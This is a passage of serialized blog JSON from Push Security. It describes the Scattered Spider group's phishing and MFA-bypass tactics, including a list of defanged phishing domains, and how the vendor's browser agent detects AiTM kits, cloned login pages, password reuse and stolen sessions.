to evade cloned page detections",{"data":123584,"content":123585,"nodeType":866},{},[123586,123590,123599],{"data":123587,"marks":123588,"value":123589,"nodeType":865},{},[],"Attackers are routinely using a ",{"data":123591,"content":123593,"nodeType":889},{"uri":123592},"https://pushsecurity.com/blog/how-aitm-phishing-kits-evade-detection-p2/",[123594],{"data":123595,"marks":123596,"value":123598,"nodeType":865},{},[123597],{"type":943},"combination of visual and DOM-based obfuscation techniques",{"data":123600,"marks":123601,"value":123602,"nodeType":865},{},[]," to create convincing phishing pages that are different enough from the real page being impersonated so that detections based on cloned pages do not fire. ",{"data":123604,"content":123605,"nodeType":866},{},[123606],{"data":123607,"marks":123608,"value":123609,"nodeType":865},{},[],"While Okta accounts remain a key target for Scattered Spider, they are using a range of customized landing pages to target Okta accounts for various organizations at URLs like:",{"data":123611,"content":123612,"nodeType":1616},{},[123613,123623,123633,123643,123653,123663],{"data":123614,"content":123615,"nodeType":1570},{},[123616],{"data":123617,"content":123618,"nodeType":866},{},[123619],{"data":123620,"marks":123621,"value":123622,"nodeType":865},{},[],"corp-hubspot[.]com – HubSpot",{"data":123624,"content":123625,"nodeType":1570},{},[123626],{"data":123627,"content":123628,"nodeType":866},{},[123629],{"data":123630,"marks":123631,"value":123632,"nodeType":865},{},[],"morningstar-okta[.]com – Morningstar",{"data":123634,"content":123635,"nodeType":1570},{},[123636],{"data":123637,"content":123638,"nodeType":866},{},[123639],{"data":123640,"marks":123641,"value":123642,"nodeType":865},{},[],"pure-okta[.]com – Pure Storage",{"data":123644,"content":123645,"nodeType":1570},{},[123646],{"data":123647,"content":123648,"nodeType":866},{},[123649],{"data":123650,"marks":123651,"value":123652,"nodeType":865},{},[],"signin-nydig[.]com – New York Digital Investment Group",{"data":123654,"content":123655,"nodeType":1570},{},[123656],{"data":123657,"content":123658,"nodeType":866},{},[123659],{"data":123660,"marks":123661,"value":123662,"nodeType":865},{},[],"sso-instacart[.]com – Instacart",{"data":123664,"content":123665,"nodeType":1570},{},[123666],{"data":123667,"content":123668,"nodeType":866},{},[123669],{"data":123670,"marks":123671,"value":123672,"nodeType":865},{},[],"sts-vodafone[.]com – Vodafone",{"data":123674,"content":123678,"nodeType":912},{"target":123675},{"sys":123676},{"id":123677,"type":909,"linkType":910},"38EyQfvJWcqHukYq8rm8ap",[],{"data":123680,"content":123681,"nodeType":972},{},[],{"data":123683,"content":123684,"nodeType":981},{},[123685],{"data":123686,"marks":123687,"value":123689,"nodeType":865},{},[123688],{"type":926},"Defend your organization from Scattered Spider",{"data":123691,"content":123692,"nodeType":866},{},[123693],{"data":123694,"marks":123695,"value":123696,"nodeType":865},{},[],"Scattered Spider have proven to be a highly creative and adaptable threat group, using a range of identity-centric TTPs and evolving (or rather, adding to) their repertoire over time. ",{"data":123698,"content":123699,"nodeType":866},{},[123700],{"data":123701,"marks":123702,"value":123703,"nodeType":865},{},[],"Although Scattered Spider have a number of telltale actions and behaviors, like targeting and leveraging SaaS services, utilizing AiTM phishing kits like Evilginx to target IdP accounts like Okta, and deploying ransomware to cloud servers, they are able to flex their approach to take down their targets. ",{"data":123705,"content":123706,"nodeType":866},{},[123707,123711,123720,123724,123732],{"data":123708,"marks":123709,"value":123710,"nodeType":865},{},[],"Scattered Spider’s behavior demonstrates that they are extremely ",{"data":123712,"content":123714,"nodeType":889},{"uri":123713},"https://www.crowdstrike.com/en-us/resources/crowdcasts/cloud-threat-summit/",[123715],{"data":123716,"marks":123717,"value":123719,"nodeType":865},{},[123718],{"type":943},"cloud-conscious",{"data":123721,"marks":123722,"value":123723,"nodeType":865},{},[]," (as many modern threat actors are) and are leveraging modern TTPs designed to evade traditional security controls and exploit blind-spots in enterprise security visibility. For example, by constantly rotating their phishing domains and pages, Scattered Spider (and many threat actors like them) are routinely evading common phishing detection controls, taking advantage of the limitations of ",{"data":123725,"content":123726,"nodeType":889},{"uri":7112},[123727],{"data":123728,"marks":123729,"value":123731,"nodeType":865},{},[123730],{"type":943},"blocklist-driven approaches to phishing detection",{"data":123733,"marks":123734,"value":14251,"nodeType":865},{},[],{"data":123736,"content":123737,"nodeType":972},{},[],{"data":123739,"content":123740,"nodeType":981},{},[123741],{"data":123742,"marks":123743,"value":123745,"nodeType":865},{},[123744],{"type":926},"Aligning Push Security’s capabilities against Scattered Spider’s TTPs",{"data":123747,"content":123748,"nodeType":866},{},[123749],{"data":123750,"marks":123751,"value":123753,"nodeType":865},{},[123752],{"type":926},"Push provides a multi-layered set of detections and controls for defending against the TTPs known to be used by Scattered Spider. ",{"data":123755,"content":123759,"nodeType":912},{"target":123756},{"sys":123757},{"id":123758,"type":909,"linkType":910},"6aB3mLLXZIhrlyuCx2hOzY",[],{"data":123761,"content":123762,"nodeType":1317},{},[123763],{"data":123764,"marks":123765,"value":123766,"nodeType":865},{},[],"Detect and block AiTM phishing toolkits",{"data":123768,"content":123769,"nodeType":866},{},[123770],{"data":123771,"marks":123772,"value":123774,"nodeType":865},{},[123773],{"type":926},"The Push browser agent will detect when employees visit websites running MFA-bypassing phishing toolkits such as Evilginx. ",{"data":123776,"content":123780,"nodeType":912},{"target":123777},{"sys":123778},{"id":123779,"type":909,"linkType":910},"I19TQYItDFlaOgisrST6P",[],{"data":123782,"content":123783,"nodeType":866},{},[123784],{"data":123785,"marks":123786,"value":123787,"nodeType":865},{},[],"The Push browser agent analyzes the behavioral attributes of phishing tools, e.g. “something the toolkit does” vs. just a static signature like a URL path or domain.",{"data":123789,"content":123790,"nodeType":866},{},[123791],{"data":123792,"marks":123793,"value":123794,"nodeType":865},{},[],"Based on your configuration, Push can then warn or block employees from accessing those phishing sites using a customisable blocking page or banner.",{"data":123796,"content":123800,"nodeType":912},{"target":123797},{"sys":123798},{"id":123799,"type":909,"linkType":910},"4ixcEsEW4EyqckOTmP5Pbb",[],{"data":123802,"content":123803,"nodeType":1317},{},[123804],{"data":123805,"marks":123806,"value":123807,"nodeType":865},{},[],"Detect cloned login pages",{"data":123809,"content":123810,"nodeType":866},{},[123811],{"data":123812,"marks":123813,"value":123815,"nodeType":865},{},[123814],{"type":926},"The Push browser agent will detect when employees visit websites using cloned login screens to steal credentials - i.e. a cloned Okta login page.",{"data":123817,"content":123818,"nodeType":866},{},[123819],{"data":123820,"marks":123821,"value":123822,"nodeType":865},{},[],"Push does this by fingerprinting the page structure and resources of your legitimate login pages and monitoring for pages that are very similar.",{"data":123824,"content":123825,"nodeType":866},{},[123826],{"data":123827,"marks":123828,"value":123829,"nodeType":865},{},[],"Push will then emit a webhook event when it detects that an employee has visited a page that appears to be a clone of a legitimate login page.",{"data":123831,"content":123832,"nodeType":1317},{},[123833],{"data":123834,"marks":123835,"value":123836,"nodeType":865},{},[],"Pin your sensitive passwords to specific sites",{"data":123838,"content":123839,"nodeType":866},{},[123840,123845,123851],{"data":123841,"marks":123842,"value":123844,"nodeType":865},{},[123843],{"type":926},"The Push browser agent will detect when employees attempt to enter their IdP password (such as Okta) into webpages that ",{"data":123846,"marks":123847,"value":123850,"nodeType":865},{},[123848,123849],{"type":943},{"type":926},"do not",{"data":123852,"marks":123853,"value":123855,"nodeType":865},{},[123854],{"type":926}," belong to that IdP.",{"data":123857,"content":123858,"nodeType":866},{},[123859,123863,123872],{"data":123860,"marks":123861,"value":123862,"nodeType":865},{},[],"When observing logins, the Push browser agent generates a salted partial hash of the user’s password, known as a fingerprint. This fingerprint is then stored locally in the browser to allow Push to perform password comparisons. You can read more about how the extension securely observes passwords in this ",{"data":123864,"content":123866,"nodeType":889},{"uri":123865},"https://pushsecurity.com/help/10065/#start",[123867],{"data":123868,"marks":123869,"value":123871,"nodeType":865},{},[123870],{"type":943},"help article",{"data":123873,"marks":123874,"value":1615,"nodeType":865},{},[],{"data":123876,"content":123877,"nodeType":866},{},[123878],{"data":123879,"marks":123880,"value":123881,"nodeType":865},{},[],"To detect phishing attempts against Okta (and other identity providers), the Push browser agent compares the observed Okta password fingerprint to the known Okta fingerprint that already exists in local storage.",{"data":123883,"content":123884,"nodeType":866},{},[123885],{"data":123886,"marks":123887,"value":123888,"nodeType":865},{},[],"If an employee has entered their valid Okta password on a webpage that does not belong to Okta — i.e. a phishing page — Push will enforce the SSO password protection settings set by an administrator (block or warn). This serves as a second layer of defense when used in conjunction with AiTM and cloned login page detections. ",{"data":123890,"content":123894,"nodeType":912},{"target":123891},{"sys":123892},{"id":123893,"type":909,"linkType":910},"20FIoIyuQYxep3V4SFWdoK",[],{"data":123896,"content":123897,"nodeType":1317},{},[123898],{"data":123899,"marks":123900,"value":123901,"nodeType":865},{},[],"Detect compromised sessions",{"data":123903,"content":123904,"nodeType":866},{},[123905],{"data":123906,"marks":123907,"value":123909,"nodeType":865},{},[123908],{"type":926},"By correlating Push telemetry with Okta logs, Push can detect compromised Okta sessions originating from outside employees’ supported browsers. ",{"data":123911,"content":123912,"nodeType":866},{},[123913],{"data":123914,"marks":123915,"value":123916,"nodeType":865},{},[],"Using the Push browser agent, you can inject a unique marker into the User Agent string of Okta sessions that occur in browsers enrolled in Push.",{"data":123918,"content":123919,"nodeType":866},{},[123920],{"data":123921,"marks":123922,"value":123923,"nodeType":865},{},[],"By then comparing against Okta logs, you can identify sessions that both have the Push marker and those that lack the marker, the latter indicating the session is being used from a machine without the Push extension and therefore the session token may have been stolen.",{"data":123925,"content":123929,"nodeType":912},{"target":123926},{"sys":123927},{"id":123928,"type":909,"linkType":910},"1XNNkaoW64t3PPvC54KGXF",[],{"data":123931,"content":123932,"nodeType":1317},{},[123933],{"data":123934,"marks":123935,"value":123936,"nodeType":865},{},[],"Detect when employee credentials are stolen",{"data":123938,"content":123939,"nodeType":866},{},[123940],{"data":123941,"marks":123942,"value":123944,"nodeType":865},{},[123943],{"type":926},"Push will detect when valid credentials appear for sale on criminal forums. ",{"data":123946,"content":123947,"nodeType":866},{},[123948],{"data":123949,"marks":123950,"value":123951,"nodeType":865},{},[],"The Push platform detects valid, stolen credentials on criminal forums by ingesting threat intelligence data and then verifying which credentials flagged by TI sources are still being used by employees.",{"data":123953,"content":123954,"nodeType":866},{},[123955],{"data":123956,"marks":123957,"value":123958,"nodeType":865},{},[],"When suspected stolen credentials for the corporate domain are present, Push hashes and salts the passwords and then sends those fingerprints to the relevant browser agents for comparison. If the stolen credential fingerprint matches a known credential fingerprint observed to be in use by the Push browser agent, the platform returns a validated true positive alert.",{"data":123960,"content":123961,"nodeType":866},{},[123962],{"data":123963,"marks":123964,"value":123965,"nodeType":865},{},[],"You can choose to receive alerts for this detection via webhook, ChatOps notification, or in the Push admin console.",{"data":123967,"content":123971,"nodeType":912},{"target":123968},{"sys":123969},{"id":123970,"type":909,"linkType":910},"6wfLCTzvHeMzagyuEWGyJg",[],{"data":123973,"content":123974,"nodeType":1317},{},[123975],{"data":123976,"marks":123977,"value":123978,"nodeType":865},{},[],"Map login methods and remove ghost logins",{"data":123980,"content":123981,"nodeType":866},{},[123982],{"data":123983,"marks":123984,"value":123986,"nodeType":865},{},[123985],{"type":926},"Push maps all the identities used by employees to access workforce apps, including local, non-Okta identities. This data can be used to migrate more apps and accounts to Okta SSO and reduce the overall identity attack surface. ",{"data":123988,"content":123989,"nodeType":866},{},[123990],{"data":123991,"marks":123992,"value":123993,"nodeType":865},{},[],"The Push browser agent observes employees using their corporate identities to access work applications. Push customers gain accurate visibility across all Okta and non-Okta identities, the employees that are using them, the apps they are accessing and the authentication methods being used. ",{"data":123995,"content":123996,"nodeType":866},{},[123997,124001,124008],{"data":123998,"marks":123999,"value":124000,"nodeType":865},{},[],"Armed with this data, security teams can get more workforce apps and accounts behind SSO to reduce the overall identity attack surface, while removing any ",{"data":124002,"content":124003,"nodeType":889},{"uri":6710},[124004],{"data":124005,"marks":124006,"value":6715,"nodeType":865},{},[124007],{"type":943},{"data":124009,"marks":124010,"value":124011,"nodeType":865},{},[]," that enable attackers to circumvent MFA by logging in directly to the app/page. ",{"data":124013,"content":124017,"nodeType":912},{"target":124014},{"sys":124015},{"id":124016,"type":909,"linkType":910},"dbDM075qSd4P3wnXuXX2Z",[],{"data":124019,"content":124020,"nodeType":1317},{},[124021],{"data":124022,"marks":124023,"value":124024,"nodeType":865},{},[],"Verify help desk caller identities with in-browser verification codes",{"data":124026,"content":124027,"nodeType":866},{},[124028,124031,124039],{"data":124029,"marks":124030,"value":54446,"nodeType":865},{},[],{"data":124032,"content":124033,"nodeType":889},{"uri":54449},[124034],{"data":124035,"marks":124036,"value":54456,"nodeType":865},{},[124037,124038],{"type":943},{"type":926},{"data":124040,"marks":124041,"value":54460,"nodeType":865},{},[],{"data":124043,"content":124046,"nodeType":912},{"target":124044},{"sys":124045},{"id":54465,"type":909,"linkType":910},[],{"data":124048,"content":124049,"nodeType":866},{},[124050],{"data":124051,"marks":124052,"value":54473,"nodeType":865},{},[],{"data":124054,"content":124055,"nodeType":866},{},[124056,124059,124066],{"data":124057,"marks":124058,"value":54490,"nodeType":865},{},[],{"data":124060,"content":124061,"nodeType":889},{"uri":54493},[124062],{"data":124063,"marks":124064,"value":54499,"nodeType":865},{},[124065],{"type":943},{"data":124067,"marks":124068,"value":54503,"nodeType":865},{},[],{"data":124070,"content":124073,"nodeType":912},{"target":124071},{"sys":124072},{"id":54525,"type":909,"linkType":910},[],{"data":124075,"content":124076,"nodeType":972},{},[],{"data":124078,"content":124079,"nodeType":981},{},[124080],{"data":124081,"marks":124082,"value":34483,"nodeType":865},{},[124083],{"type":926},{"data":124085,"content":124086,"nodeType":866},{},[124087],{"data":124088,"marks":124089,"value":124090,"nodeType":865},{},[],"It doesn’t stop there — Push provides comprehensive identity attack detection and response capabilities against techniques like credential stuffing, password spraying and session hijacking using stolen session tokens. You can also use Push to find and fix identity vulnerabilities across every app that your employees use like: ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more. ",{"data":124092,"content":124093,"nodeType":866},{},[124094,124097,124104],{"data":124095,"marks":124096,"value":104093,"nodeType":865},{},[],{"data":124098,"content":124100,"nodeType":889},{"uri":124099},"https://pushsecurity.com/demo?utm_campaign=12081956-FY25Q2_Hacker-News-Article&utm_source=thehackernews&utm_medium=sponsored&utm_content=external-article",[124101],{"data":124102,"marks":124103,"value":11405,"nodeType":865},{},[],{"data":124105,"marks":124106,"value":1615,"nodeType":865},{},[],"How the notorious Scattered Spider cyber criminal group are switching up their TTPs in 2025 to bypass MFA and breach cloud services via account takeover.","2025-05-06T00:00:00.000Z",{"items":124110},[124111,124113],{"sys":124112,"name":7796},{"id":7795},{"sys":124114,"name":342},{"id":4642},{"items":124116},[124117],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":124118},{"url":7804},"blog/scattered-spider-defending-against-help-desk-scams",{"json":124121},{"data":124122,"content":124123,"nodeType":1382},{},[124124],{"data":124125,"content":124126,"nodeType":866},{},[124127],{"data":124128,"marks":124129,"value":124130,"nodeType":865},{},[],"Scattered Spider has dominated the headlines in recent months and has gained significant attention for its use of help desk scams. Here's how they work and what you can do to protect your organization. ",{"id":53907,"publishedAt":124132},"2026-08-12T11:54:03.755Z",{"items":124134},[124135,124137],{"sys":124136,"name":7796},{"id":7795},{"sys":124138,"name":342},{"id":4642},{"items":124140},[124141,124143,124145,124147,124149,124151,124153,124155,124157,124159,124161,124163,124165,124167,124169],{"sys":124142,"name":279,"slug":280,"tier":31},{"id":276},{"sys":124144,"name":413,"slug":414,"tier":31},{"id":410},{"sys":124146,"name":519,"slug":520,"tier":31},{"id":516},{"sys":124148,"name":642,"slug":643,"tier":31},{"id":639},{"sys":124150,"name":342,"slug":343,"tier":31},{"id":339},{"sys":124152,"name":650,"slug":651,"tier":45},{"id":647},{"sys":124154,"name":607,"slug":608,"tier":45},{"id":604},{"sys":124156,"name":466,"slug":467,"tier":45},{"id":463},{"sys":124158,"name":261,"slug":262,"tier":45},{"id":258},{"sys":124160,"name":324,"slug":325,"tier":45},{"id":321},{"sys":124162,"name":404,"slug":405,"tier":45},{"id":401},{"sys":124164,"name":571,"slug":572,"tier":45},{"id":568},{"sys":124166,"name":457,"slug":458,"tier":45},{"id":454},{"sys":124168,"name":537,"slug":538,"tier":45},{"id":534},{"sys":124170,"name":502,"slug":503,"tier":45},{"id":499},"yjH55ZXCaQvQjWDumXOTsjiEZ1Fw112-VkrcDK6-4V0",{"id":124173,"title":118081,"authorsCollection":124174,"content":124178,"extension":228,"faqItemsCollection":124741,"faqTitle":59,"featured":6,"hashTags":59,"meta":124743,"metaTitle":124744,"ogImage":59,"postType":1424,"publishedDate":118083,"relatedBlogPostsCollection":124745,"slug":118084,"stem":126040,"subtitle":59,"summary":126041,"synopsis":118082,"sys":126052,"tagsCollection":126054,"topicsCollection":126060,"__hash__":126092},"blog/blog/how-browser-level-controls-change-the-fight-against-phishing.json",{"items":124175},[124176],{"fullName":4680,"firstName":4681,"jobTitle":4616,"socialLinks":59,"profilePicture":124177},{"url":4683},{"json":124179,"links":124719},{"data":124180,"content":124181,"nodeType":1382},{},[124182,124188,124194,124201,124224,124230,124235,124238,124245,124251,124257,124296,124302,124308,124311,124318,124324,124330,124336,124352,124358,124363,124370,124376,124382,124388,124393,124396,124403,124410,124416,124423,124429,124487,124493,124500,124506,124536,124543,124549,124556,124562,124569,124575,124623,124629,124632,124639,124645,124660,124690,124708,124713],{"data":124183,"content":124184,"nodeType":866},{},[124185],{"data":124186,"marks":124187,"value":117479,"nodeType":865},{},[],{"data":124189,"content":124190,"nodeType":866},{},[124191],{"data":124192,"marks":124193,"value":117486,"nodeType":865},{},[],{"data":124195,"content":124196,"nodeType":866},{},[124197],{"data":124198,"marks":124199,"value":117494,"nodeType":865},{},[124200],{"type":926},{"data":124202,"content":124203,"nodeType":866},{},[124204,124207,124214,124217,124221],{"data":124205,"marks":124206,"value":117501,"nodeType":865},{},[],{"data":124208,"content":124209,"nodeType":889},{"uri":117504},[124210],{"data":124211,"marks":124212,"value":117510,"nodeType":865},{},[124213],{"type":943},{"data":124215,"marks":124216,"value":117514,"nodeType":865},{},[],{"data":124218,"marks":124219,"value":117519,"nodeType":865},{},[124220],{"type":898},{"data":124222,"marks":124223,"value":117523,"nodeType":865},{},[],{"data":124225,"content":124226,"nodeType":866},{},[124227],{"data":124228,"marks":124229,"value":117530,"nodeType":865},{},[],{"data":124231,"content":124234,"nodeType":912},{"target":124232},{"sys":124233},{"id":117535,"type":909,"linkType":910},[],{"data":124236,"content":124237,"nodeType":972},{},[],{"data":124239,"content":124240,"nodeType":981},{},[124241],{"data":124242,"marks":124243,"value":117547,"nodeType":865},{},[124244],{"type":926},{"data":124246,"content":124247,"nodeType":866},{},[124248],{"data":124249,"marks":124250,"value":117554,"nodeType":865},{},[],{"data":124252,"content":124253,"nodeType":866},{},[124254],{"data":124255,"marks":124256,"value":117561,"nodeType":865},{},[],{"data":124258,"content":124259,"nodeType":1616},{},[124260,124269,124278,124287],{"data":124261,"content":124262,"nodeType":1570},{},[124263],{"data":124264,"content":124265,"nodeType":866},{},[124266],{"data":124267,"marks":124268,"value":117574,"nodeType":865},{},[],{"data":124270,"content":124271,"nodeType":1570},{},[124272],{"data":124273,"content":124274,"nodeType":866},{},[124275],{"data":124276,"marks":124277,"value":117584,"nodeType":865},{},[],{"data":124279,"content":124280,"nodeType":1570},{},[124281],{"data":124282,"content":124283,"nodeType":866},{},[124284],{"data":124285,"marks":124286,"value":117594,"nodeType":865},{},[],{"data":124288,"content":124289,"nodeType":1570},{},[124290],{"data":124291,"content":124292,"nodeType":866},{},[124293],{"data":124294,"marks":124295,"value":117604,"nodeType":865},{},[],{"data":124297,"content":124298,"nodeType":866},{},[124299],{"data":124300,"marks":124301,"value":117611,"nodeType":865},{},[],{"data":124303,"content":124304,"nodeType":866},{},[124305],{"data":124306,"marks":124307,"value":117618,"nodeType":865},{},[],{"data":124309,"content":124310,"nodeType":972},{},[],{"data":124312,"content":124313,"nodeType":981},{},[124314],{"data":124315,"marks":124316,"value":117629,"nodeType":865},{},[124317],{"type":926},{"data":124319,"content":124320,"nodeType":866},{},[124321],{"data":124322,"marks":124323,"value":117636,"nodeType":865},{},[],{"data":124325,"content":124326,"nodeType":866},{},[124327],{"data":124328,"marks":124329,"value":117643,"nodeType":865},{},[],{"data":124331,"content":124332,"nodeType":866},{},[124333],{"data":124334,"marks":124335,"value":117650,"nodeType":865},{},[],{"data":124337,"content":124338,"nodeType":866},{},[124339,124342,124349],{"data":124340,"marks":124341,"value":117657,"nodeType":865},{},[],{"data":124343,"content":124344,"nodeType":889},{"uri":15860},[124345],{"data":124346,"marks":124347,"value":102968,"nodeType":865},{},[124348],{"type":943},{"data":124350,"marks":124351,"value":117668,"nodeType":865},{},[],{"data":124353,"content":124354,"nodeType":866},{},[124355],{"data":124356,"marks":124357,"value":117675,"nodeType":865},{},[],{"data":124359,"content":124362,"nodeType":912},{"target":124360},{"sys":124361},{"id":117680,"type":909,"linkType":910},[],{"data":124364,"content":124365,"nodeType":981},{},[124366],{"data":124367,"marks":124368,"value":117689,"nodeType":865},{},[124369],{"type":926},{"data":124371,"content":124372,"nodeType":866},{},[124373],{"data":124374,"marks":124375,"value":117696,"nodeType":865},{},[],{"data":124377,"content":124378,"nodeType":866},{},[124379],{"data":124380,"marks":124381,"value":117703,"nodeType":865},{},[],{"data":124383,"content":124384,"nodeType":866},{},[124385],{"data":124386,"marks":124387,"value":117710,"nodeType":865},{},[],{"data":124389,"content":124392,"nodeType":912},{"target":124390},{"sys":124391},{"id":117715,"type":909,"linkType":910},[],{"data":124394,"content":124395,"nodeType":972},{},[],{"data":124397,"content":124398,"nodeType":981},{},[124399],{"data":124400,"marks":124401,"value":117727,"nodeType":865},{},[124402],{"type":926},{"data":124404,"content":124405,"nodeType":1317},{},[124406],{"data":124407,"marks":124408,"value":117735,"nodeType":865},{},[124409],{"type":926},{"data":124411,"content":124412,"nodeType":866},{},[124413],{"data":124414,"marks":124415,"value":117742,"nodeType":865},{},[],{"data":124417,"content":124418,"nodeType":1317},{},[124419],{"data":124420,"marks":124421,"value":117750,"nodeType":865},{},[124422],{"type":926},{"data":124424,"content":124425,"nodeType":866},{},[124426],{"data":124427,"marks":124428,"value":117757,"nodeType":865},{},[],{"data":124430,"content":124431,"nodeType":1616},{},[124432,124441,124450,124469,124478],{"data":124433,"content":124434,"nodeType":1570},{},[124435],{"data":124436,"content":124437,"nodeType":866},{},[124438],{"data":124439,"marks":124440,"value":117770,"nodeType":865},{},[],{"data":124442,"content":124443,"nodeType":1570},{},[124444],{"data":124445,"content":124446,"nodeType":866},{},[124447],{"data":124448,"marks":124449,"value":117780,"nodeType":865},{},[],{"data":124451,"content":124452,"nodeType":1570},{},[124453],{"data":124454,"content":124455,"nodeType":866},{},[124456,124459,124466],{"data":124457,"marks":124458,"value":113738,"nodeType":865},{},[],{"data":124460,"content":124461,"nodeType":889},{"uri":110870},[124462],{"data":124463,"marks":124464,"value":113746,"nodeType":865},{},[124465],{"type":943},{"data":124467,"marks":124468,"value":21,"nodeType":865},{},[],{"data":124470,"content":124471,"nodeType":1570},{},[124472],{"data":124473,"content":124474,"nodeType":866},{},[124475],{"data":124476,"marks":124477,"value":117809,"nodeType":865},{},[],{"data":124479,"content":124480,"nodeType":1570},{},[124481],{"data":124482,"content":124483,"nodeType":866},{},[124484],{"data":124485,"marks":124486,"value":117819,"nodeType":865},{},[],{"data":124488,"content":124489,"nodeType":866},{},[124490],{"data":124491,"marks":124492,"value":117826,"nodeType":865},{},[],{"data":124494,"content":124495,"nodeType":1317},{},[124496],{"data":124497,"marks":124498,"value":117834,"nodeType":865},{},[124499],{"type":926},{"data":124501,"content":124502,"nodeType":866},{},[124503],{"data":124504,"marks":124505,"value":117841,"nodeType":865},{},[],{"data":124507,"content":124508,"nodeType":1616},{},[124509,124518,124527],{"data":124510,"content":124511,"nodeType":1570},{},[124512],{"data":124513,"content":124514,"nodeType":866},{},[124515],{"data":124516,"marks":124517,"value":117854,"nodeType":865},{},[],{"data":124519,"content":124520,"nodeType":1570},{},[124521],{"data":124522,"content":124523,"nodeType":866},{},[124524],{"data":124525,"marks":124526,"value":117864,"nodeType":865},{},[],{"data":124528,"content":124529,"nodeType":1570},{},[124530],{"data":124531,"content":124532,"nodeType":866},{},[124533],{"data":124534,"marks":124535,"value":117874,"nodeType":865},{},[],{"data":124537,"content":124538,"nodeType":1317},{},[124539],{"data":124540,"marks":124541,"value":117882,"nodeType":865},{},[124542],{"type":926},{"data":124544,"content":124545,"nodeType":866},{},[124546],{"data":124547,"marks":124548,"value":117889,"nodeType":865},{},[],{"data":124550,"content":124551,"nodeType":1317},{},[124552],{"data":124553,"marks":124554,"value":117897,"nodeType":865},{},[124555],{"type":926},{"data":124557,"content":124558,"nodeType":866},{},[124559],{"data":124560,"marks":124561,"value":117904,"nodeType":865},{},[],{"data":124563,"content":124564,"nodeType":1317},{},[124565],{"data":124566,"marks":124567,"value":117912,"nodeType":865},{},[124568],{"type":926},{"data":124570,"content":124571,"nodeType":866},{},[124572],{"data":124573,"marks":124574,"value":117919,"nodeType":865},{},[],{"data":124576,"content":124577,"nodeType":1616},{},[124578,124587,124596,124605,124614],{"data":124579,"content":124580,"nodeType":1570},{},[124581],{"data":124582,"content":124583,"nodeType":866},{},[124584],{"data":124585,"marks":124586,"value":117932,"nodeType":865},{},[],{"data":124588,"content":124589,"nodeType":1570},{},[124590],{"data":124591,"content":124592,"nodeType":866},{},[124593],{"data":124594,"marks":124595,"value":117942,"nodeType":865},{},[],{"data":124597,"content":124598,"nodeType":1570},{},[124599],{"data":124600,"content":124601,"nodeType":866},{},[124602],{"data":124603,"marks":124604,"value":117952,"nodeType":865},{},[],{"data":124606,"content":124607,"nodeType":1570},{},[124608],{"data":124609,"content":124610,"nodeType":866},{},[124611],{"data":124612,"marks":124613,"value":117962,"nodeType":865},{},[],{"data":124615,"content":124616,"nodeType":1570},{},[124617],{"data":124618,"content":124619,"nodeType":866},{},[124620],{"data":124621,"marks":124622,"value":117972,"nodeType":865},{},[],{"data":124624,"content":124625,"nodeType":866},{},[124626],{"data":124627,"marks":124628,"value":117979,"nodeType":865},{},[],{"data":124630,"content":124631,"nodeType":972},{},[],{"data":124633,"content":124634,"nodeType":981},{},[124635],{"data":124636,"marks":124637,"value":117990,"nodeType":865},{},[124638],{"type":926},{"data":124640,"content":124641,"nodeType":866},{},[124642],{"data":124643,"marks":124644,"value":117997,"nodeType":865},{},[],{"data":124646,"content":124647,"nodeType":866},{},[124648,124651,124657],{"data":124649,"marks":124650,"value":118004,"nodeType":865},{},[],{"data":124652,"content":124653,"nodeType":889},{"uri":117504},[124654],{"data":124655,"marks":124656,"value":118011,"nodeType":865},{},[],{"data":124658,"marks":124659,"value":1615,"nodeType":865},{},[],{"data":124661,"content":124662,"nodeType":1616},{},[124663,124672,124681],{"data":124664,"content":124665,"nodeType":1570},{},[124666],{"data":124667,"content":124668,"nodeType":866},{},[124669],{"data":124670,"marks":124671,"value":118027,"nodeType":865},{},[],{"data":124673,"content":124674,"nodeType":1570},{},[124675],{"data":124676,"content":124677,"nodeType":866},{},[124678],{"data":124679,"marks":124680,"value":118037,"nodeType":865},{},[],{"data":124682,"content":124683,"nodeType":1570},{},[124684],{"data":124685,"content":124686,"nodeType":866},{},[124687],{"data":124688,"marks":124689,"value":118047,"nodeType":865},{},[],{"data":124691,"content":124692,"nodeType":866},{},[124693,124697,124704],{"data":124694,"marks":124695,"value":118055,"nodeType":865},{},[124696],{"type":926},{"data":124698,"content":124699,"nodeType":889},{"uri":16069},[124700],{"data":124701,"marks":124702,"value":118063,"nodeType":865},{},[124703],{"type":926},{"data":124705,"marks":124706,"value":118068,"nodeType":865},{},[124707],{"type":926},{"data":124709,"content":124712,"nodeType":912},{"target":124710},{"sys":124711},{"id":118073,"type":909,"linkType":910},[],{"data":124714,"content":124715,"nodeType":866},{},[124716],{"data":124717,"marks":124718,"value":21,"nodeType":865},{},[],{"entries":124720},{"hyperlink":124721,"inline":124722,"block":124723},[],[],[124724,124728,124733,124738],{"sys":124725,"__typename":52243,"title":124726,"arcadeDemoUrl":124727,"playText":59377},{"id":117535},"Stop phishing attacks in the browser with Push Security","https://demo.arcade.software/iMcqa8vaDB0AjfmJFTk7?embed",{"sys":124729,"__typename":1414,"type":1415,"ctaText":124730,"buttonLabel":124731,"buttonColour":1418,"buttonUrl":124732},{"id":117680},"Check out our on-demand webinar for our breakdown of why phishing attacks are still the weapon of choice for attackers in 2025.","Watch On-demand","https://pushsecurity.com/webinar/phishing",{"sys":124734,"__typename":1390,"title":124735,"caption":124736,"layoutMode":59,"file":124737},{"id":117715},"Phishing block screen","Block pages are customizable to ensure that users know their organization is protecting them.",{"url":78585,"width":1402,"height":78586},{"sys":124739,"__typename":1414,"type":1415,"ctaText":124740,"buttonLabel":33569,"buttonColour":1418,"buttonUrl":16069},{"id":118073},"Book a demo to see Push detect and shut down phishing attacks in real time.",{"items":124742},[],{},"Browser security tackles phishing where it really 